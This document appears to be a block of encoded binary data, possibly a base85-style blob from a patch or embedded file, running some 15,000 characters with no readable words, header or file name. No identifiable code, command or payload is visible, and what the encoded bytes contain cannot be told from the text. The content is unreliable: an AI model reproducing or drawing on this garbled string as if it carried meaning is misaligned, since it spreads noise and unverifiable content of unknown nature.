zS)|-(emWTzl+!cfV~}*Dt#TY%D2A!QfMRSwV2yWVdEwgh^|5RORYv3(v}{N+*GA&J z$)(J8rCT8%iVX5v4EVV#hwcZ{w-WMkDzjHgDkB4BL(vX8#McbP%|H>B2qVH9< zXaRGM519EU7+04G+#Vqq=3^GKMa=b--t0YZVvvx}Ww6y)_Q3V#iD_hcG?_TZ7&-<; zx~iZ^r-Sofxmb;XGiL2QR)nS*3BpzWdh7>qE>GpL?3yW+9Lpi|A&YFJ1=_ofdlJuS zr)FFKW{c=^4!McHWG~@u$86%Xl__3XR9O5!B4%r|?N?o;G!U|!>#$I4(!`#Fp&YX9>Tb4O9V~6*EV{$&>TW-1SH~IGf48gqDKxZO z$1c6BAfKEf;>W)80;I3W(_=!7LaM}AmNYM*$7+7COmN7Ss#0L7r7 zlhr&-tm=o3WSC#Yrx@mu->Z&VS4hRj5;pdnBiq<@vMy!04{=G_*lD!$lWpuIX+kb6 z7VVMUR5QYudCbOth@lbTL2U1K4T3zj6A>tLmI5BQP zdZ=t?F;P5D$}^BBQ=a#zl;@+xgg!jwS$9&N&q<~{?`6ClQl6W~(z7UqYQaQm!g>!Z zSo3*#jae*d&+%cyEJ5RUNZL**z=NxE z0iCg-ruh-X4lB+-LJ^%FqVZTU6ep+_w>W_W^L+_&nD^XoD@#~M8Ac13Gu>%HpW;P~ote-5!NR$9{JgS1<&e=IFHflOal#i-OZ3--Qu3P2GPwIS7 zKk9m_eMGexJbqk1>LxCq)Q`HE%kKJ7l`WY#j|}StOdA>bS(EIMFXVf&QOYvq+ExA@ zVS=Y62Pn1})9e5ugaweDX1Xe6m{6MoEChGhaAm@q7@zbigxC~N`vM?X91?yD{*wORYWoOTX0aBNqdk zfA}kW%i3|3x}5Z)Y6)#<|NgQ*g&59&M)COvg0A7evHM9^{X}~<26m^_2R>HWgP|!K zi`Qt2GJ23-;XB{2S`_nycd>CJO@3Mq@aN3%v>3>nwle?*@CzcuBG z!rMvvNYnnK$obq%IeUv~eDQbSwml!*nGY8G-{A$*(u>H#Mj|) zR}|vH$g|}wyGXWyHXjF4ne=OM5JZSILEehk1#U&~_HJpR?d0!)rqFjk+L-)nyNwg= zHfrBt@S!Qv`V&s;-PD`tX%11JposcVwzg#|tlkPDcPIbT*t;ZHHepS`D(QJIy0ZQ3HlB%H#d{< zESPJVOW)GL^H{(1*z>>&iwU6j8T;znSqM*jWer42@nO{q(c#2{517y!$Adh51O9S&(i}l%__cIwA zizo#Xuhl-pcaVWrCl+DS^gMzJ>C7;IazCHASYa!ttByv)VM4Ge@S>_5cv|WnZX`7Y zHrnr(yILe&_stioMoOH;>_=qx%(dIhbK3OSZDunB+a>Sd;EVr(`94D(+9A8bD_LnD-2znN zb;z#|%K3?7_<2Qg7O7T+|HZFsu>`-i73W|b%VeSSkt_giiuC9A z+q6Z!<0F<2J7#uf^-52DZ%mnBX>+uNxTl0JGG+#YH4WdTq#+?X*O`xgWLd94f=naF zLe$K$mkddLZp)A?5BIT80v{w^t}7*w={?J8P4_NN^X_{iO%4@TX{b!CN(>|9ot)br zfxQdi1aGYsnS_&0H6aI^kbV#ZN5%b2MyfdbgYuD~u{XC|&%f zdGLH`nZ;f^lj(*MNn(;CpY3T?^C|wMlfP6UG0J(LE$AXJWZtyfnb^AdpjQt6H4YT- zV=g_i&XUD1>79lVz3g%zw%kDiL-w!Nv8-aPl9<3wNf*ix84-_HQ_0*kiui_|M8?D~ zOL@h*v*ZNW^(^=A;TKsI#4Od#{ru+7d@S(^%K8w0speot)x{hjmr4o+cI98PaQgZW z5JP__*?c@;U=8%}YKsm@thJm?=5m2By!#r{A{Pox*xY%xsPMC35rV^kRw?nJ))ib4oe0kmXNYxe03?loMiq< z{;bOV6aVVS$$$1>6oID>=0_0t74)K(nAP&KniG322aZ-q#41V*-~z!_>Ht`s>LALr zdmt!I8`7pAp*D$lTH8)VAk4j$WSh74l!DStb~#Otbg?@$ddId>8=k!i0qA7x5O zFv_SpkNxBsGm5v^{+XQqkPAwE=ZE@kqcPwb#=)+fLdrGBwu`ThwuM{Cbe3%Ov%I}dw-K?4MMRI zFy&4G)IC*Nd$hf^NTRhV+_Y@suwPB}Hd2rX718$Lv^Rfr|vA*wCEX==GmjBaO3LWOA%#AIcthmnpG za305Qw%%(@DD%boCF$-$wb&qNtdM2Ycux5vj9~)HXug^YNz`4{dVG6bwR*umkepdk z=?lo3-!)NEh~|rAV#-r~L*g*gYIs7RV*j2CPUV+8?p53*Ji5GCB>0p0!f%fH)SVn) zwd&c?R8$JpJ3*E|iN~TBp^h_laj{u+k8lV!r17o&1GgtYQy53iFWip3MmI7}s$f1~ zr$|BK7j6e8e&N<-nkHTiwpWB9ovw&-wL=iadKj{LrD4x0E2fKEl%lRcdn`gqv%g!A9%3quxu^q^>QkF zC3h`>1xXl-=ln^&d*`O)PoI8;2W3{#j{M-8J+C@hl`@|~s*0*0)xJY`#u1|!>#jYe zg!8D|^DyQ>kx#r&MWIN*s2=|34;cW*GI9_i)?HF*j3bC+D~(}*gBbZ{Hc*t^m=sE9 z*cCWujT=c0mieP9Il@>7!FdhpWN5^3WpLgu`Q>r3a*OB-Qx)nk>zHQY@G@sMWD2?U zxTqsKxJYFko(Xi-!@CKL1n6SG0I|l;spm$1gIqUk`Hv!a&vO5|OeFexr2}l(^K96! z64)P}k%avgDpJ96OYEoabFKbGAvdO{i2NU|_8Fce)JJ+q&OSl@c98E3v6nqWyE5?N zPf%frs*oiVr*ndIHn6K2;X*W$kh{C;0~v^yzl`8;(07jS4ElOH2JQb-CH>!!1bq<| z73j}$r0$vG7Ai5emv8ms|%G8iv4 zTxKgR$Vj}2-)VIi$|KW)^FT7_f?YD2nfy)tp>$^9Yw}ptP&l(#d<127{MsJMjwp@y zY9C4~jG~6}t^{;;%sB)2y})Kr-8@-s#Pof3*&o9&NXo9nN?wl6WA zui56}CZ@Bmesn*6PIj@lxsn+epY;mWhCS#Fx5&97TRf@_>$?HL>cr|{&L#s zMZ>zy9x0nPOV>ufR9~^c-$VSbb)vVsGaAd?%Br-nCl**t^G7QQ^^#!vcKE_?>}z>i z@c?2tY?<|M3-%FW1oe8tyYq>cEhk>KRmIDeGpeWL(|LT#PK?F!)|~i_kj)zzyjm9^Pp#1K#<{T;So)gv>cboyr94 z`0*AzjPTCGe!Yd$^xA?jTTP2Z3_I@w4jC(gco@HeMEC`;F9|H|&jLc^_%%Ce7=str z|9llTYInU(=;XP~o+*}sc@d3ZB(zNFBE-{d`kdzpJR8x)V6uJS^5Y!woK+7p_M@SD z#^m%xjD`?ZdtX1o3EO^#DBbhXTlN-=SMH@%FRd~ftBBDsGFE)A$>P6;nv~ypW5)@r z+ku@F?dJbti2Z1UKl@j9GHuo}X$_1owl?{Vw(8-(6`3KC+Dy+(d2!qzE`d5r*Mi#| zGy6Q1*Ek_)+kO*h?q2+e<-%(04;rT$`C9TVK0Qc0s<^iWlznwEk<^JKvvsi_B{# z94i&&B$PCP;bEuZ(16icyk)82&Vnn|aVe;M_bBEcj>-AXpz^g;Zq*bE<@AxSe?@^k z(CAST)X2${VV3dZYHUyIADb}`?byVVI?VEsY~qbcn>b~T!-o8(xtinqL{x8wE?cH4 ztzIT`Jb8A}A2EQ@CEF3J`0UlW%Qn_yqOcdZz3yh9Jinl3vq9i%LiO z1v{eSi$cbFc@Sfl6L-1uh^i#(XpfN5F_!zQkq(8-q#g5FaL}@anQ*k;Tnh1*%=f1X z3_>9fNwwppBih;OFS)I+Rts&pLPKxM)@tW*XX9%JsFyB={sd%=No9zpWjCF6bVP_g zS6CADfIU7o8}D1_*$)`THuLRimQ{1miuR;v#eG2bF92Pb*4kI`&1;mF3Y~ADR8+J0 z{urfqo-EUg{{*yX=dwhABPF8TiC!xaQU}0`L$6q-JPhW)FY`VGzSfHy* zZlv>8wu zko@L^RjRxg%qQ!u>fy7gO}A(4p8<0A=<(tExUtQ;ok~<9GvBw|*>sLGo??+6x=De% zk?Llbc5rtF)OalS25um~`csAcAPw6hJyy}6ZIOO0WHB0``AM{}I?j~6a~zXl-ZdmS z(mm8+q+;O}nL89kaR&-4UI?|8h!avKcVhS1M(kIr-f^qn5ky?zL(wetC^RVFrCC{j z%EGlxTCi{nRZ|T>2K_z1m%|YJSSi8+_8bke2mS61K%R3|a*jUrJA>ZN4Zn4NnE+M9 zTwFxE(utSzX1oH2t6HW*AST3v73#IbUA$f}@%@wp!Bq&s^~#qvpUhtXWDs0sg5W@< z&L?Na_+%}gsIG#sEGRf(C^|H$ChJmXUE}6WG-FH7>D9yMAxCNb+oX6aut$J++XwMO zh8wS^{nILvL(H-(Snho=zxthQ&ef8th5f`QM}WG_gOEY-4jEpB7(IyZ3UfCZL?Ukg zr8=Yp*#9oy;V0wUSIc)J)iB;NFC)!ZTV&!E-9qnZ??x(mYd^Q8$ZPVI7T9F|gKqd4 z7aRgj`X~p_E&t#hVY&*-Jq|~{9nS!w@XX0$)x!;H$t;hd=`4Dv+mWE~J(l}q#-%1Z zY3)y)Awal4zYY*RS0*v>J)A|WoTI`Gk2-+7dn-%ZEbgQq3H!M!A*4jRYxhX3kVzBeCCx?n?fj_TB|N z%Iex5-ZPn*3?U%_2?j-dQBr~khJcDlWC96HG=T^SMg^0QOh`1zOfwTM7HtqzAWchq zwA$0!BE=(BtF&50dod^$v|90Yq{p^KrFBwln|ilZ^ZkDNGV{(PTe$`mS(NWhxD9flj@eIx%k!u5gI4OK8{a3e8pd;0`--xV04sn+@{7z^@9Mx= zibn2?-vcsvYLn#TfBJuk6&U`>qX;*BDsvgYcP%lMihQx9o8Ps3a@7p|T}yM&Dj2(X zXRk!uA000l-OtXUP|sB9PhiSZZM#)A$R~5II^Tx-eQ&yniBq2H*vToCHmvk{aN^Z= zhYtc6emFb&xCKn@OZ_EB)JTFaaH?ayWtj{1mv%i*SzFw9mwDPoU|{h4D-8Ira5QdC z^LH_o3W!XE2AJEHYlQeW(zK zp{v^JLy-}Uf%4t43ZZy#UvlgMve~~u1~i!)C)7Ha7dH#@3mxVlCr8w;&<@W9)89eMH2GjhjyW-Yj5Q+XF9o>NrG`HTTm-#pRVnQ#ZDR8j5JL4wi z^FPZ`m#-dPBd3)(bzd=%%{48^5qBYHamVs%oVbMDX_OX*V*?*a*c0T+1SfLJg?CaZ zDqaT0ZoH88eKJruiIKqsV(8=(qnDu}`Mdba^cW+R z2%;${9Fu2myc+y>7S{h3+{XCKi1Epf3WCoE>%nJcoX@vsGfQ*`ufic`vM_~=$tojG zHpLKdB(lc-PZi?ji zylcS4&%cDh1!j+KLfA}qHp&>&rpIQHE{k{rIqJ@CtV4o5OJha+zCswt?xv$Vqm9M7 zgW4u7>BA5#u5p4bEl#kdi4zAriYMm{PT&dDjVq-2(hDsZPCbVj%-r~*6O_-RndDl@ zlk`oJM)RP`stj2THri(yqkRUufLKP^jay|_TwjRUY-F{MMnt}T{q;s

q7nJYg@` z)~&c&L>s9=ON-zO7MFrhW{Ei~KB*M109drKan>{h0Wy~7(s z%>b%Y5*#8W4o>hq`Vlk>Gsfj_(d3?w>cRINKj%@>t8!q@(FDuo?Az{a@Vb64MKS1; zjvW7Fae$Rm<;TLpk1!JAYn{K#UGO-7w1NvT1nMlD3#%A6X>XrHB#N>C<$x&vV;PF` zw@YH8{Eb2w$bOWL4Nt&+CX9?S(qw&AvZKNzob39%Whv0JlMknq@f#250?Q{xuYMO( z&(IW{-bt0hJP}jIr=^0IMr;*E=vz|2m`2uNZ=r2N*i~51Lh`d#%f6KY|H%e$_&rp% z5;(h$hZrCQ6Gp(O^x!ZX5HoQ~}J>VlUuVFc0{qZGtxG{?C>P zuR~*^N@GM1N-Z@8FHwD}&R&!2Mrzd}6KKVo0 zgKAlg#ua@Bx+H6=?_m#{^5c7vJl3VQOh;Z)|1M`s?9M*na-?Zn6w|+p6~aLFEI2TF zycOGqia6klWR-T8V0#psGn7&s#_b(gy~$`-2v>3V_!K$9=<`FlV)Pm|lBf^OTEP3~ zdSv95I^!OLyg~cbb&|GBikXMON%5Y-RL`MEW+M`gh&7m5g6`}ojVuHfjK+PRQpnuc z;%52egc6o5@yeCC@iGR%=Hp&661$$n9&+FN1Q8<>@|o&&Rs`pNIqArQku%FCf0nuN zY50nM<->3J1)r5?&izo^!-)kK z=3K`7I3BY_#SCPxl@62;rTx|8>^AgPE-VUt166vJ$lTbS!t>fO?O3SN!aBXzDGT)e zr667rCqBgx9|woF)whD)T`(TEg3UiPFd6FOYu{7#anQ*UAg&AJ0oKMo2FTjjgDj%& zLGyHfcE6_g7)K`@O#A?eZpCXC#*E&~>-!zZ@u7=S{Ci%Hg^MYdGAf`TRPV{0D(=pBjfi&xaVxs6eeC{t*ZV8B?r-oBfSF_i!vLsPG(0jksKAXg zfmcA~enaK4qf&VXj2S9Z;#BSjmB&EkRylTF$E@U-FxDLp=I0X|r8hBU);C|t>F3_rq5insRz`@@J7;&I&^#{L#8wsJ568 zRhNr!i}-(Vv`0~iz3kbXO!&4mo#(a47l`FBUe z$t(K~&baU&yW9UYGh!bk#&Zmj`#?nY$f@j+KN${I*6(ExEBA)rjJq7eX)$XMf1}mo zIefG)zF*|t3H_f!dh6fLLcuVytKJR3e)t=d1(M{_ePPE;$)TFbsE#Mh~<5Yjem zTP^vet?%uhOfnq%T?diDTBa_6{kk{@ zR%a@un0RE=*AQiRSNefzp$Y^- zh;p?6YgJuUyC$o2)zSMgt&5k^U9grr%O~%rB4Xl)*0t&;w1BGp@{=e$_duH<17>f6>axo@PUe1SBPo)YGxn1l%9l4g zcY_*z%(`=7LtFQqDC2I*eT^*SXxV0QGx^b~&21A`8%Xv25n62u*|ofrL%}trlV4-y zg-E+rUaq3P_Ck%SjXv=W>IsezK=tJ*ljoxEp8)y7I{V}`5M}anFQpg!aTUI8@ayP7 zMgqU7bn+iDcHoC%I2FA|r@=zI`qs-X2H^d&i54Atg3cgg) z?L3uljkeuzY?gG=6J*jVH0+YwBu_g0-P7gh3}O7-2lxEK9@aumi@{X%ud*3y)^;OTHmQP=N{P2&j4Zqo)S$+bpFsxU#I+nDUuR69U3oyu~C zYz=G>4WFSg5;Umj-LmII|GW&{5#N~Ewc?F=Chpqy#kbhUE|8D)({jBD`MPQ#)$_`9#m!Y*>|>_D^P z&eq>D+OMyELSHLW5A|_nelTl2kdZ|}C9_ENZ3?c#gWY3@x{gts@9z`muOmk0Jc|iixDMWeo(n%dwJ8g|9Xc{;P`p14=GvC&WQ5owJQhxkC06BY-g+;Tj-#yaz zDKpt{D%;~eIUBY$`peyDa_G%Be4Ns8!mr);J%F6B|5j{r{}9f@5x76wErIhT&mr0E8660K8OnU;u%Y8_VK1TH6TTKGIpaosTn=fba=S(i(lH3E!CAl(^d+Waj2IL(!htGoT+Zw&} zee5qhO*-%WE1dXd5JJCv7)}fX;cWafhBqIf;g>MSgUAsAdg`a3c!B$A0NjPV*}Vsj z>910t7Ju^iBX?XtZRDCa_g=sS#o>k#{M7QNi9aF!tl6}@GcyZ~DRYv0BZy^YVQ7^( zDPxm#!-ymNYdX9F;ahchEy8cs;UR?I1~*NACrrQlyYOHJk)`N-9HoGqg-@7a^p_~9OWwbAi}f6r4{eN;m3*MKFlFhR@x znz#imor_SB6X>1`H`Vzqs3Ptr!JzYQwOk%JA^yUQ_s*m%DC(=#F9HU9dH{K?Qc>;r<|pYrtj^D9aqgPPsL zA@s)ci*hF@N-w)$PkUO| zTyM%Ad|bI5FFTLt9mb(z>{(S(+HlPTaV_PQ2Dy3wc`{(b-W;r>vtGCSE;(MKW1Ex(CA0ALD?`qFx`q3|7;8MLO~ zb)-h;pcPYXFwvgzdjv=G5Wu|rnZ?*k^tj4J)phjeT-y5Z;K@B79vs*&HQ|}QG~k1F zAExNJ#YN}Q?S2k6i`ynPJ3e?ESMxra1OB4_EjM344dto)M`%Kyo%F;bUIkTJIdq6V z26c(PigII8;SY3Q3Z2C!&VRuzF*fH!cjJu~Ha#58L^;8KF+db^`vXy4>V$+B0U4UJ zIQpL;6nz#ykRe8;8EJ@*t{~aHbUntO51_qB^L2(^15{9UM@P{2d+POb_yH}PizV-m zAS)4l0AacvM3*3mT;axDXJ{AE0VdjxA53|o&GgL%CE~*7!1n9AIP+CuAJBW{Xls21 zANV$5D_V2~0=FFO%9#3N+Gi~0;#1ZF&F!Ln?h_FN56YaKbBZkb$K#OO4cRLa7VevVfqU{aYVlaZt#ujv8eERg>gYA_Wuarya5~RLS}2*<{~eGW-&-^ zYva~Rr1SFy$%_7#`ipzgx)Ch{eu`R`b(+PIO^!UI!*N{}wopHnxqbaV+9H9L_3t#d z1xklM-xZb1lI!1H5NPWd{$jU(Aai@y#~oMZ_RqmN?S1a7yHG2gWX7EVC-NF7?7@}P zk-WlMk5fd(7lsH1lYtE%S-1}!`on)nllj9v;nBso$KoE0%{J_J6mNFVhVw8! z{otMs2M39`U;NY5b#w9EwCS0ew*Ymit9R2Z^{|i}f=>2S;`(n7r$Ub)oT+}ZZ-oK|Gv-trFhhNaPD)D#jgjrKsq^d1HW{HJRAr7d)~18!w+zuvxTT}nHxx( zqd;qdXSOHvhJPSUm;1Flh4^XjhW*}s?q}dc&5F(Lr{OC4;BhOmV#9uGpZfuL-7?}Q za6JO71K|4+xQoxgj;`KM!R9^mUGRLzc`}F7AD{I&@1%C$jNlC!Yw_y?;;Z}IE8!%! zNU{db!>K?D!jbvtpHB>@`!gTyhX%NpBcv$v(brE1FO1Wh=kLlcW(0J1Pc*Bj>o*&E zJ?mc|5H8`*m;}*n&iLk!K>5Q1{xeYS>>S{Be(bXJA?oy82#`ifFo_RiygBaFM$1 zz1YXY?7-*=eERdBCom&v``9`xe-{SRAFsclKHS>dF%Ij#u8uLd{iXZ*-ha0IdBaD} zRoPf)^?k>IFBYR**xW>`Tk}M;l#O>YUd?K}(Rs=p{X5_@&pfW%A(pVa-bNM>f;;j< zVE?>e`)gCaGa0T6p6FPOF&XY0Daj(U*f$Hd{9PqzyCv8NTnHcTJ())LB<1cd&r$x7 z^q1rydB1;8ujQW(_waD3!e~5PCr6>hn$`s#j@;jpgy|YcOp#nC0zwDI~%+cq8Jj>;iLh3Le}X=pq_bi z4_4sZ=jwut_A^S>-KRXU3e>v`e*tiK6ihfP7~6v*W5^0tp-#^X>+$1~i|qV4-P<0~4MqeIMo zj6T`7M!Ee1M9LwIf!sy%_Yx@>631Vc`_FfdB8*+hAOxD?fVzHu7TX2VU21a z_hI?_i2VJz{Qaf;eN6toE`Pr(WmqMDgYtKp{5?VbX3O6b{{{BS% zzA1nIB!AzMzkTxeUHSXI{Qau@{f905cIp1R{GA5H7|6Bbe<;J(%J6?l_owoAK>ofi ze=nB5iXRoe79rARmCHN*pT;)rXa=f6nmg4x_#J}h%ewxjsLQ+I^^b}^5UxmeQJ2rl zukGNQN%aTHQ=Tq6bYI{dzCU$g;s*DtZf=4V3BmlYvEq_~`fc=-MPxwn$iM65E0rQZtAz*!mm*)Iv?{Zqay_RkJ z3Da}Kb>BwpDTKR|w00A(d&_>h&%(x4xNoC-n+oSu5`BABxaB0ia^uBN^sNJqo%6x` zWE*}k2?y&6Tec0_rug!AZOKOv8!asO0fxsyynXpCl9y`cvqP5`yyY>)K<P=Q#gX&Ri%kMr_WUKa4SRAxF<<4cL$dmIVNuBB@Di3dwEWpy_l*WWgY(LfW$o_f zniR6z1Wer9!g&N)4In0CRB>NtxC-fe64Pyo&}ZPzb^Tg17UI2ht)8U6R~MzH)# z$OQPi5Zc$E>6r8zcgQ>}#`*6^rqxwdYi{IDdAewqL*B_Yko_Fq*S8)aBh4h}%QEb} zU(!E7`cYjsM1g)+GwdZD27D>Ky-EHFXk!w;dyACM4kaI%HqTB^=l38sLTY^KZ{H!+ zzNvwI)z~PFe0+32qrxSf9_5yDeh_Y*zLt2py~{MZy;}^wSMx<&{(yGJ9t)J=Uol-aN>DmKh94iCQ#dHnp8Wv5(8$DjJ6HT>}FXlrq@0@Wvvc^R5 zl^FYtq*#D zyWs{47#pj(q{G-dl){t17HMzt}HTAe$d|eDC7%6S1Tj1An~vi z)G2vPh1tl5S+XmhkU9PT{imXpvcM##hSzAgMZ>ROr{cG3_zMkR&@if@^Q#Ikr2R&2 zH@B(qUu*a`4bKd!@KqY#tKr)kR)}!$TTcYgPPG4cj$emWKOvef>p4mk#%9{-kj5bDxek{`6}U-P1Mn zY50N8r&9Z`)Nr>B-=^V>8os3AA2qy4<3FwaCcjXU|2nSXa&$XCUBk09G2L!Lf`)7UTgB&V{G{mP_Tu#{;jh#0ko?cq^gq)6tg$M;{u~7llq$UB@D+6pR$WU= zu)Z$R9BdOJ@1mjcVhlQ*DK57sRfANayr~L!QiVfCrz!xy^m8o!1Fru;G<6)y2LB+%uT;i!M* z*AM_CC|}ex=@ZbeA%QNxN^krc0+{qF-l_351kmv+++qA0y6xpx`MY%f5~BPjf9Xg0 zm0v>ulfR00>Ua$Sbi4|87{7)tTmH-!VjpJqViuOPf8 ze-)1guku$AULCLeX#dKuq05%PEFT)YO0OWiI=%9v{VTtQDe?3&9ooN&*U%Y@SK$uh z*U&Rm{j)wP7S?8 z<27`~;#IiA_%(D5&R_GNBB3+I&{uwk@oSheD80saD(Fm(Px33f?@9Hh!uWYSFu~A5 zx7%eP-ENmFCE0Jn8Rtq#aULr^8Q-L1+7zeL@xM)fEc(g$nS7bI(}9tqmWy{-+VJ#@ z5t&MQ#y28U$bn1TPu(y+;xm0bgz4ix6`$yj`&51^e?w8_Z+t4f%We0^eev}6cxQ_7 znfOG%@fm2!udq$|mCxkwNsaqie&tiYs{HYImOn8*(QkZ-`P9hWsTRc9|uY7~c&oq3L{>S-M`XBeR{Pe}?v&8XuC_vA65VH z^sHff`b59++0)zcRr|NskBT+;%4e64s&RY%Y@>!>RsOi2<)_ckGwt8tv;2wiiGJlv z&Oc6{+$5$?^ebOtdOJSbe`5V7`sp)usOndh-#g5%|MZ#qQ`p9De2L|c9J)ZTSSpGymeM6Psp1&tGF@L+CX%p$Q#BqG(v-6jT zPv7AD?de_aMEZ$-`jXSz@trBj@riz8;q3Kir)RW*wV&Ajl|PPa^h4FS!H@e)ype_S z8((7n%E$av{S()uS1sQ7jnAH5xfQW&8>nF4XviWnyZRzw*WNxBCsQp=a8^ z;g98K%6NRDU-^>rX9|@c%b%D&(XV`o>FxNc|F_38Htwe{UWf7WvtNvtpFU#7?Z5G> zwD$6;8aMIAXD>gg89zC(^P~Eocz&w>s{fCdS2z;!=^Lv2asC+_ z&rjL^xL?KE>9fS~c;&OlGdAw0Z*czh^z7l|_{`t#r!P6ZJ)Zr4Vtk@MJ;UC@?e(wf zJ06=@|7pXO-_SPosq~*dlV0&2k5BX~pS^sl#^dQ#3y-Hy^ebOtdg2;<)&A}AjEVc{ zGi6Zvtx9aqpKa98Q}rMBGp(JTY5xYF^`97@=%;UR{&D)`CNX`YpT6Yuc6_$~#P~#i z+VFS{+shy4U!^vFRetX<<5#h9d7An+@v8mXDdeU>;LPhVnuqF>J}#^@>gXHT!@i%fnjznz|$H;Tt6 zmdDJS94S6IzpN1>(nqAHr}0ToOY<5?cbeDhN%os?#(6y+*RkT0@l86W^|)Nl|84qX z(NE6L*C{exnlCrVo~#7!?e7#y#bI_0Qr5f9tJ(Ze7Mr5FV@4P zUVO10X4aFwSP!F}{bD^#^=RUY^)S48*y{KVF$`ffAcq2IhW z2y9eQ7+ODV=@q_uA29C$CVw;TH+}=HoSdwjtSm1d@|LjKY6y>=^`YFkVM}0FySQTV za&g6YJZtcriDwEP-*S*M{>+wYD=#-ZNzzyGO@TF6Sl!9V`35cQ&6tQ8>j!6_(G+4OxxN?cs?imY@m)W!UNn z)sDNZx)s6p$SjDrInrF$(tJ&zp)j|>3bckIYvE92V!wu8O?MUuuUUdLg}E&)4OUS- zi&eO!WL{5tymiggdvznP+}{7hSH;1F{%p#tK&s2sVSeu6X%kNs{k`_#@O*TcjN|r6hJWT6&;mdV#f~E*!Ah zI$D$&6L!k7SsQC)HP$t^1Y*@}&u^BMkSd__vGR&4N)-)Rit0&LNFf>~zMLiT{ypVA+$yl7y`v= zuO}@jHbXzK293MnEKT34XPc5`4M*BRJ>G6sz;4&qg|*eeG3Amavn<>N5okwazc{eA z9H1S|!^)dGuYGMOf~dt%)nF^F5t^p8c;N!FCey8`CyGTeX`3IDvZ1RJ$AmA#uMVId zp@CZOR>eJ}Yn8M~y0ffMOI>rDj5H~l6>clEwh*XO3eGuq%DlPrBtP+VEM#5#O4^+S zdPn0|l!zs)PthdmM6+m<&q`4)g6Jg!2%n4R$nl7he+l_15$fV-(G2R^2c@$XT|CRG zZw@sD+HHcd(Ju~Y`Ph(-B_Q$@OP3^{c=%E4GoD_ROD8*axeOx96|YiR`50>iAnSTv zI*eb$)d*P|^EbDxg01ElLh5lS7>4yme{`@+?OzX7sD1CXixl)}*jcXpTgw!@;g1Sh z+Fwzs{KBtb{sJ98UqN4qhQ$i@&r@)lhFkUidFx6QUQvGJ{q#I^$G=^8YBk@Zb-H-@ zg3Z*~j#ii-;DsYLzZL9=SiwfCy{>Jg9w+%LD=Vx8C6!iQBg|S0dx-j$W~9}2gHcV9 zNNCpCXXl1z<#w16&Fbd1aIpSrbfR?)XJ5Lc2>m054;Yzg>uBQHOS2X*Y^iH#fb1KC zrlOmI7{g(V8bWs(8!6fG7F{f@TYa#tjlEslN)Af(pAO`x5NvQv)B>~ESl8OzB70#S zZ}LKqB-t19G_hbC+6Jv#Mp_2P!~F4sAvp+!-=bj7o;GzFA}9l$E&AQI1{kR?cLc%_ z7-(aBjG0#PMhHlR0oW>7%?K|)3SfK^Xm4$9tHV%5 zXAHh0sFf*Ya)dlfD7>&mc6=n5h`>B#N?E@vf(>h}upD&&6JsI>V`#dT4yK%BewAxO z7=S}IS{znEem)F~lo@gBFoJ>URyrf=Le&Jz&0!HlRd{-C_;ljV$e$r)d3If>`RrBG z&JNYBrTQ>RB!^-6(bB9AnVcQ0j|3u9&~gKHtr8hOtP_(4HY=8%ZvNThA*&YkRuRv~ zgbgZ}DYzE2Rlpirbg?9gpBO$0V=W9utogx?wuX$fhqt#oJ^Y}aux(0ZQLQX*lA+zwj9wh?RPn~A7+$gn1JIaG<~X60#3lLFU0oNlpbKcOH-tYM5^Y$~M_;4R9gWHz5sAF;X) z{RncSuv8-mODm<@1>U$iFu-iEN*69IDl09nS+Z!}#mI+ml!(KNmi`MZQg**`i|PmR zE0n)>qw?RW&yn3@&XcXz{Ya;RreE@D|4%etm+r5=so}Qk6n^Mh1s~RUztr#vLmzx? z!ZT$Gq`HD{R_ZV9jc;#C{(sA@mJWi;io4@@Lx#)17`mM-W8#Tb48oFw5HWP9j2If* z@PEtAZ``t#{|)swZu!rc+vG%~+Y{*6IJ@PW2LGEVbd2G_gmn&sGCa<3#b%6;LG)uK z0vmCT;>C$)b9*fQW`h_L>XAxgCz>D$MHasaDGgmCn>f}GRm#Ma@X#f&;zf{Hw$j;R zZcWbdmc-f^g8yU*8eW-l5H(Y4x7;3&G-0Z6x7=#@j}_Jw%%&CODn{H^G)=?sU?)K; zrg-*nDUCR-I9VNbBwTyAopwUG(P*jB?Ci+GQxzjdJM7Hq$o^Q@!B?aiR>99NJ}eQG_R;^R+^;)rUupotl1p=PDP(| zp>;*f;w?|anKC7$r%-0M)wKrJRg@NAc$^6XZS@vkoQ{x9+WgY8k}}NRCUG@oN^DF% zWlA{M(OwTuIcmOQ7W?JpM`iX1NiVdfOfl>nrKm?qJ%kiMNYh-NAiuOFC5xAqEFM%W z-B%}yLk=}&=FiMeph3-3fAWnlxk@ypSpG>O9-3xa+TxP(MVL^l3S)wg+$k4ClTbMH z_pIc!wBnMvRSOoBE?i)hFDfo!f|!yRHNq^Lnz;?1WmS~SJxd*uJ{$BniFy_$#W*W- z7S-S^HPTn31xZVn0s{v-VI3N5Ygs$X;&|z7HMluT4JVP2eh)d@yji5Bl`Jf-SX7Ex z|Kl0XhSs|Ut=I% zsI8n!VLGYMnhg9}^ax;+G~pGx&6Tuuv|4#bn%$iw)P%3bw$1yZl?ShuqqF8#RCeq= z^GK99Rt$%y#op&ubTl?{{sb?V7_Z@_Ku?*eWtAGtvMs79D_OXp(qB_vx}?0Qa-Lrg z?)bii5w;%X9X-E-Sbp+#f@)_mOZBQ|@<~B^p@+D=8e&=bJWSCQ$ zVMhSk8ij@TIc!Rmb{C}u!HKq)f1nS!Bn=0xe zO_!dnrfjv!T`IXnZL2r57!NufG#b;^bt_sh$BdW8M!q!i4W*)}(mxATZC=MsKBm;M zC`~6RPhBG0M6tv}b#s0|&gK|Z0uHNvF_w3@V#TEmD^K3!03}_`H61`G2+dWj_PCxf zzOf$B z9$1NqJ2_v^%+0ihQVZ}qcztS?)d2fMWUMdhnUPq2gV7}=HKk0s;5ApiH$uxG8ZP$e zsTGMg^g0>rHI@_X>{-WJ=+OMf_<~*yvHZsM5K~K#f?3v$)$8JFs}3*hA=}iHtXvdA zRqA3TN4;!eR!~%^eH}$9nmv4I1s?)0rn{keiz_JuZFZzMINtz=UhhbtpPZzH3At?xtgp`4`89l@2JajBDP%>GJ7$UViba5MkZI~4_y@lPR>v~vR&Du5yP~@hz zX3UuuN`o_5nw!bsof@ukPN)x~32M;9*4~N@0^vwA7RDhLR-s&$HD>GxR>P7jh^Ax; z9sxCJk<=KKBbqD08*o~ZLHYaYC*H>NiCe1&WU5-l4XXpl8IG-U3bsI&f{@Wbrue zl>0Tf8^FwsGA53XnZ?+q471wI#-SDw=~^8wph=W}rroNsf?Pep@GoJjfh@q1rjAGh zHq>wx1DjhY^%%?CCu0T_i!lzEkC$7lm_hil;V;GkCfsHrz(G7buCR^mShmeo6pNc- 